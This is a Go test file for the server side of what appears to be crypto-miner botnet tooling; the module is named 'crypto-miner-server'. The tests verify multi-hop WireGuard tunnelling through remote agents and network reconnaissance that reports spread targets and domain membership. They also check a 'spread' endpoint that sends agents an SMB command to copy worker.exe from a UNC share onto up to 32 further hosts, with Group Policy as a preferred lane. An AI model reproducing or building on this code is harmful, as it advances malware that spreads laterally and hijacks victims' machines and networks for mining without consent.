AetherForge/server/internal/api/pathtracer_handler_test.go

package api

import (
	"bytes"
	"context"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"net/http"
	"net/http/httptest"
	"strings"
	"sync"
	"testing"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"

	"github.com/go-chi/chi/v5"
	"github.com/gorilla/websocket"
)

func testTraceSession(hopCount int) *TraceSession {
	sess := &TraceSession{
		ID:            "sess-test-12345678",
		clientPubKey:  "CLIENT_PUB_KEY_B64",
		clientPrivKey: "CLIENT_PRIV_KEY_B64",
	}
	for i := 0; i < hopCount; i++ {
		sess.Hops = append(sess.Hops, &HopInfo{
			AgentID:    fmt.Sprintf("agent-%d", i+1),
			PublicKey:  fmt.Sprintf("HOP%d_PUB", i+1),
			ExternalIP: fmt.Sprintf("203.0.113.%d", i+1),
			Port:       51820 + i,
			LocalAddr:  fmt.Sprintf("10.66.0.%d/24", i+2),
			Status:     HopReady,
		})
	}
	return sess
}

func peerKeys(peers []map[string]interface{}) []string {
	out := make([]string, 0, len(peers))
	for _, p := range peers {
		out = append(out, p["public_key"].(string))
	}
	return out
}

func TestBuildHopPeersSingleHop(t *testing.T) {
	sess := testTraceSession(1)
	peers := buildHopPeers(sess, 0)
	if len(peers) != 1 {
		t.Fatalf("single-hop want 1 peer (client), got %d: %+v", len(peers), peers)
	}
	if peers[0]["public_key"] != sess.clientPubKey {
		t.Fatalf("expected client peer, got %+v", peers[0])
	}
	if peers[0]["allowed_ips"] != "10.66.0.1/32" {
		t.Fatalf("client allowed_ips = %v", peers[0]["allowed_ips"])
	}
	if _, hasEndpoint := peers[0]["endpoint"]; hasEndpoint {
		t.Fatal("client peer should not have endpoint")
	}
}

func TestBuildHopPeersTwoHop(t *testing.T) {
	sess := testTraceSession(2)
	hop1 := buildHopPeers(sess, 0)
	if len(hop1) != 2 {
		t.Fatalf("hop1 want client+forward peers, got %d", len(hop1))
	}
	if peerKeys(hop1)[0] != sess.clientPubKey {
		t.Fatal("hop1 first peer should be client")
	}
	if peerKeys(hop1)[1] != sess.Hops[1].PublicKey {
		t.Fatal("hop1 second peer should be next hop")
	}

	hop2 := buildHopPeers(sess, 1)
	if len(hop2) != 1 {
		t.Fatalf("exit hop want reverse peer only, got %d: %+v", len(hop2), hop2)
	}
	if hop2[0]["public_key"] != sess.Hops[0].PublicKey {
		t.Fatal("exit hop should peer back to hop1")
	}
	if hop2[0]["allowed_ips"] != "10.66.0.1/32" {
		t.Fatalf("reverse allowed_ips = %v", hop2[0]["allowed_ips"])
	}
}

func TestBuildHopPeersThreeHop(t *testing.T) {
	sess := testTraceSession(3)
	mid := buildHopPeers(sess, 1)
	if len(mid) != 2 {
		t.Fatalf("middle hop want forward+reverse, got %d", len(mid))
	}
	keys := peerKeys(mid)
	if keys[0] != sess.Hops[2].PublicKey {
		t.Fatal("middle hop forward peer should be hop3")
	}
	if keys[1] != sess.Hops[0].PublicKey {
		t.Fatal("middle hop reverse peer should be hop1")
	}
}

func TestPathTracerSessionExpiry(t *testing.T) {
	hub := NewWSHub(nil)
	h := NewPathTracerHandler(hub)
	sess := &TraceSession{
		ID:        "expired-session-id",
		CreatedAt: time.Now().Add(-pathTraceSessionTTL - time.Minute),
		Hops:      []*HopInfo{{AgentID: "gone-agent"}},
	}
	h.mu.Lock()
	h.sessions[sess.ID] = sess
	h.mu.Unlock()

	h.expireSessions()

	h.mu.Lock()
	_, ok := h.sessions[sess.ID]
	h.mu.Unlock()
	if ok {
		t.Fatal("expired session should be removed")
	}
}

func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey string) {
	t.Helper()
	conn := connectTestAgent(t, hub, agentID)
	go func() {
		for {
			var msg Message
			if err := conn.ReadJSON(&msg); err != nil {
				return
			}
			if msg.Type != "command" {
				continue
			}
			var payload map[string]interface{}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			action, _ := payload["action"].(string)
			switch action {
			case "wg_setup":
				setup, _ := json.Marshal(map[string]interface{}{
					"public_key":    pubKey,
					"external_ip":   "198.51.100.10",
					"external_port": 51820,
				})
				_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
					"action": "wg_setup", "success": true, "message": string(setup),
				})})
			case "wg_configure":
				_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
					"action": "wg_configure", "success": true,
				})})
			case "network_recon":
				hints, _ := json.Marshal(map[string]interface{}{
					"spread_targets":     []string{"192.168.1.50"},
					"spread_target_count": 1,
					"domain_joined":      true,
					"prefer_join_lane":   "gpo",
				})
				_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
					"action": "network_recon", "success": true, "message": string(hints),
				})})
			case "wg_teardown":
				return
			}
		}
	}()
}

func TestPathTracerOrchestrationSingleHop(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })

	hub := NewWSHub(database)
	handler := NewPathTracerHandler(hub)
	agentID := "trace-agent-1"
	startPathTracerAgentResponder(t, hub, agentID, "AGENT1_PUBKEY")

	body := `{"agent_ids":["` + agentID + `"]}`
	req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
	rec := httptest.NewRecorder()
	handler.Start(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
	}

	var startResp map[string]interface{}
	if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
		t.Fatal(err)
	}
	sessionID, _ := startResp["session_id"].(string)
	if sessionID == "" {
		t.Fatal("missing session_id")
	}

	deadline := time.Now().Add(5 * time.Second)
	ready := false
	for time.Now().Before(deadline) {
		rc := chi.NewRouteContext()
		rc.URLParams.Add("id", sessionID)
		req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+sessionID+"/status", nil)
		req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rc))
		rec = httptest.NewRecorder()
		handler.Status(rec, req2)

		var status map[string]interface{}
		_ = json.Unmarshal(rec.Body.Bytes(), &status)
		if status["ready"] == true {
			ready = true
			break
		}
		time.Sleep(50 * time.Millisecond)
	}
	if !ready {
		t.Fatal("session did not become ready in time")
	}

	handler.mu.Lock()
	sess := handler.sessions[sessionID]
	handler.mu.Unlock()
	if sess == nil || !sess.Ready {
		t.Fatalf("session not ready: %+v", sess)
	}
	if sess.clientPubKey == "" {
		t.Fatal("client pubkey should be set")
	}
}

func TestPathTracerOrchestrationConfigurePeers(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })

	hub := NewWSHub(database)
	handler := NewPathTracerHandler(hub)

	agent1 := "hop-one"
	agent2 := "hop-two"
	conn1 := connectTestAgent(t, hub, agent1)
	conn2 := connectTestAgent(t, hub, agent2)

	var (
		captured []map[string]interface{}
		captureMu sync.Mutex
	)
	done := make(chan struct{})
	var once sync.Once

	respond := func(conn *websocket.Conn, pub string) {
		for {
			var msg Message
			if err := conn.ReadJSON(&msg); err != nil {
				return
			}
			if msg.Type != "command" {
				continue
			}
			var payload map[string]interface{}
			_ = json.Unmarshal(msg.Payload, &payload)
			switch payload["action"] {
			case "wg_setup":
				setup, _ := json.Marshal(map[string]interface{}{
					"public_key": pub, "external_ip": "198.51.100.1", "external_port": 51820,
				})
				_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
					"action": "wg_setup", "success": true, "message": string(setup),
				})})
			case "wg_configure":
				dataStr, _ := payload["data"].(string)
				var cfg map[string]interface{}
				_ = json.Unmarshal([]byte(dataStr), &cfg)
				captureMu.Lock()
				captured = append(captured, cfg)
				n := len(captured)
				captureMu.Unlock()
				_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
					"action": "wg_configure", "success": true,
				})})
				if n == 2 {
					once.Do(func() { close(done) })
				}
			}
		}
	}
	go respond(conn1, "PUB_HOP1")
	go respond(conn2, "PUB_HOP2")

	body := `{"agent_ids":["` + agent1 + `","` + agent2 + `"]}`
	req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
	rec := httptest.NewRecorder()
	handler.Start(rec, req)

	var startResp map[string]interface{}
	_ = json.Unmarshal(rec.Body.Bytes(), &startResp)
	sessionID := startResp["session_id"].(string)

	select {
	case <-done:
	case <-time.After(5 * time.Second):
		t.Fatal("timed out waiting for wg_configure on both hops")
	}

	handler.mu.Lock()
	sess := handler.sessions[sessionID]
	handler.mu.Unlock()
	if sess == nil {
		t.Fatal("session missing")
	}

	// Hop1 configure payload must include client peer + forward to hop2.
	var hop1Cfg map[string]interface{}
	for _, cfg := range captured {
		if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.2") {
			hop1Cfg = cfg
			break
		}
	}
	if hop1Cfg == nil {
		t.Fatalf("missing hop1 config in captured: %+v", captured)
	}
	peers, _ := hop1Cfg["peers"].([]interface{})
	if len(peers) != 2 {
		t.Fatalf("hop1 want 2 peers (client+forward), got %d", len(peers))
	}
	p0 := peers[0].(map[string]interface{})
	if p0["public_key"] != sess.clientPubKey {
		t.Fatalf("hop1 first peer should be client, got %v", p0["public_key"])
	}
	p1 := peers[1].(map[string]interface{})
	if p1["public_key"] != "PUB_HOP2" {
		t.Fatalf("hop1 forward peer = %v", p1["public_key"])
	}

	// Hop2 (exit) must have reverse peer to hop1 only.
	var hop2Cfg map[string]interface{}
	for _, cfg := range captured {
		if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.3") {
			hop2Cfg = cfg
			break
		}
	}
	peers2, _ := hop2Cfg["peers"].([]interface{})
	if len(peers2) != 1 {
		t.Fatalf("hop2 want 1 reverse peer, got %d", len(peers2))
	}
	if peers2[0].(map[string]interface{})["public_key"] != "PUB_HOP1" {
		t.Fatal("hop2 should peer back to hop1")
	}
}

func TestPathTracerBuildClientConfig(t *testing.T) {
	hub := NewWSHub(nil)
	h := NewPathTracerHandler(hub)
	sess := testTraceSession(1)
	sess.clientPrivKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-priv-key!!"))
	sess.clientPubKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-pub-key!!!"))
	cfg := h.buildClientConfig(sess)
	if !strings.Contains(cfg, sess.clientPrivKey) {
		t.Fatal("config should include client private key")
	}
	if !strings.Contains(cfg, sess.Hops[0].PublicKey) {
		t.Fatal("config should peer to first hop")
	}
	if !strings.Contains(cfg, "10.66.0.1/24") {
		t.Fatal("config should set client address")
	}
}

func TestPathTracerStartResolvesAgentName(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })

	agentID := "trace-agent-named"
	if err := database.UpsertAgent(&models.Agent{
		ID:     agentID,
		Name:   "Edge Node Alpha",
		Status: "online",
	}); err != nil {
		t.Fatal(err)
	}

	hub := NewWSHub(database)
	handler := NewPathTracerHandler(hub)
	startPathTracerAgentResponder(t, hub, agentID, "NAMED_AGENT_PUB")
	// WS auth overwrites name with hostname; restore operator label for resolution test.
	if err := database.UpsertAgent(&models.Agent{ID: agentID, Name: "Edge Node Alpha", Status: "online"}); err != nil {
		t.Fatal(err)
	}

	body := `{"agent_ids":["` + agentID + `"]}`
	req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
	rec := httptest.NewRecorder()
	handler.Start(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
	}

	var startResp struct {
		Hops []HopInfo `json:"hops"`
	}
	if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
		t.Fatal(err)
	}
	if len(startResp.Hops) != 1 {
		t.Fatalf("expected 1 hop, got %d", len(startResp.Hops))
	}
	if startResp.Hops[0].AgentName != "Edge Node Alpha" {
		t.Fatalf("expected resolved agent name, got %q", startResp.Hops[0].AgentName)
	}
}

func TestPathTracerStartValidation(t *testing.T) {
	h := NewPathTracerHandler(NewWSHub(nil))
	req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
	rec := httptest.NewRecorder()
	h.Start(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("expected 400, got %d", rec.Code)
	}

	dupBody := `{"agent_ids":["agent-a","agent-a"]}`
	req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(dupBody))
	rec = httptest.NewRecorder()
	h.Start(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("duplicate agent_ids: expected 400, got %d", rec.Code)
	}

	offlineBody := `{"agent_ids":["offline-agent"]}`
	req = httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(offlineBody))
	rec = httptest.NewRecorder()
	h.Start(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("offline agent: expected 400, got %d body=%s", rec.Code, rec.Body.String())
	}
}

func TestPathTracerSpreadValidation(t *testing.T) {
	h := NewPathTracerHandler(NewWSHub(nil))

	req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", bytes.NewReader([]byte(`{}`)))
	rec := httptest.NewRecorder()
	h.Spread(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("empty body: expected 400, got %d", rec.Code)
	}

	badUNC := `{"session_id":"sess-1","unc_path":"C:\\local\\worker.exe"}`
	req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(badUNC))
	rec = httptest.NewRecorder()
	h.Spread(rec, req)
	if rec.Code != http.StatusBadRequest {
		t.Fatalf("non-UNC path: expected 400, got %d", rec.Code)
	}

	h.mu.Lock()
	h.sessions["sess-missing"] = testTraceSession(1)
	h.mu.Unlock()
	body := `{"session_id":"sess-missing","unc_path":"\\\\forge\\pathforge$\\worker.exe"}`
	req = httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
	rec = httptest.NewRecorder()
	h.Spread(rec, req)
	if rec.Code != http.StatusBadGateway && rec.Code != http.StatusBadRequest {
		t.Fatalf("offline egress: expected 400/502, got %d body=%s", rec.Code, rec.Body.String())
	}
}

func TestPathTracerSpreadDispatches(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })

	agentID := "spread-egress-agent"
	hub := NewWSHub(database)
	handler := NewPathTracerHandler(hub)
	conn := connectTestAgent(t, hub, agentID)

	sess := testTraceSession(1)
	sess.Hops[0].AgentID = agentID
	handler.mu.Lock()
	handler.sessions[sess.ID] = sess
	handler.mu.Unlock()

	cmdCh := make(chan map[string]interface{}, 1)
	go func() {
		for {
			var msg Message
			if err := conn.ReadJSON(&msg); err != nil {
				return
			}
			if msg.Type != "command" {
				continue
			}
			var payload map[string]interface{}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			if payload["action"] == "spread_smb_unc" {
				cmdCh <- payload
				return
			}
		}
	}()

	body := fmt.Sprintf(`{"session_id":%q,"unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":32}`, sess.ID)
	req := httptest.NewRequest(http.MethodPost, "/pathtrace/spread", strings.NewReader(body))
	rec := httptest.NewRecorder()
	handler.Spread(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("spread status=%d body=%s", rec.Code, rec.Body.String())
	}

	select {
	case payload := <-cmdCh:
		if payload["path"] != `\\forge\pathforge$\worker.exe` {
			t.Fatalf("unexpected path: %v", payload["path"])
		}
		if payload["command"] != "32" {
			t.Fatalf("unexpected max_hosts command: %v", payload["command"])
		}
	case <-time.After(3 * time.Second):
		t.Fatal("timed out waiting for spread_smb_unc command")
	}
}

func TestPathTracerNetworkHintsFromEgress(t *testing.T) {
	database, err := db.New(t.TempDir())
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })

	hub := NewWSHub(database)
	handler := NewPathTracerHandler(hub)
	agentID := "trace-network-hints"
	startPathTracerAgentResponder(t, hub, agentID, "NET_HINTS_PUB")

	body := `{"agent_ids":["` + agentID + `"]}`
	req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
	rec := httptest.NewRecorder()
	handler.Start(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
	}
	var startResp struct {
		SessionID string `json:"session_id"`
	}
	if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
		t.Fatal(err)
	}

	deadline := time.Now().Add(5 * time.Second)
	for time.Now().Before(deadline) {
		req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+startResp.SessionID+"/status", nil)
		rctx := chi.NewRouteContext()
		rctx.URLParams.Add("id", startResp.SessionID)
		req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx))
		rec2 := httptest.NewRecorder()
		handler.Status(rec2, req2)
		if rec2.Code != http.StatusOK {
			t.Fatalf("status=%d body=%s", rec2.Code, rec2.Body.String())
		}
		var status struct {
			NetworkHints map[string]interface{} `json:"network_hints"`
		}
		if err := json.Unmarshal(rec2.Body.Bytes(), &status); err != nil {
			t.Fatal(err)
		}
		if status.NetworkHints != nil {
			if status.NetworkHints["prefer_join_lane"] != "gpo" {
				t.Fatalf("unexpected hints: %+v", status.NetworkHints)
			}
			return
		}
		time.Sleep(100 * time.Millisecond)
	}
	t.Fatal("timed out waiting for network_hints on pathtrace session")
}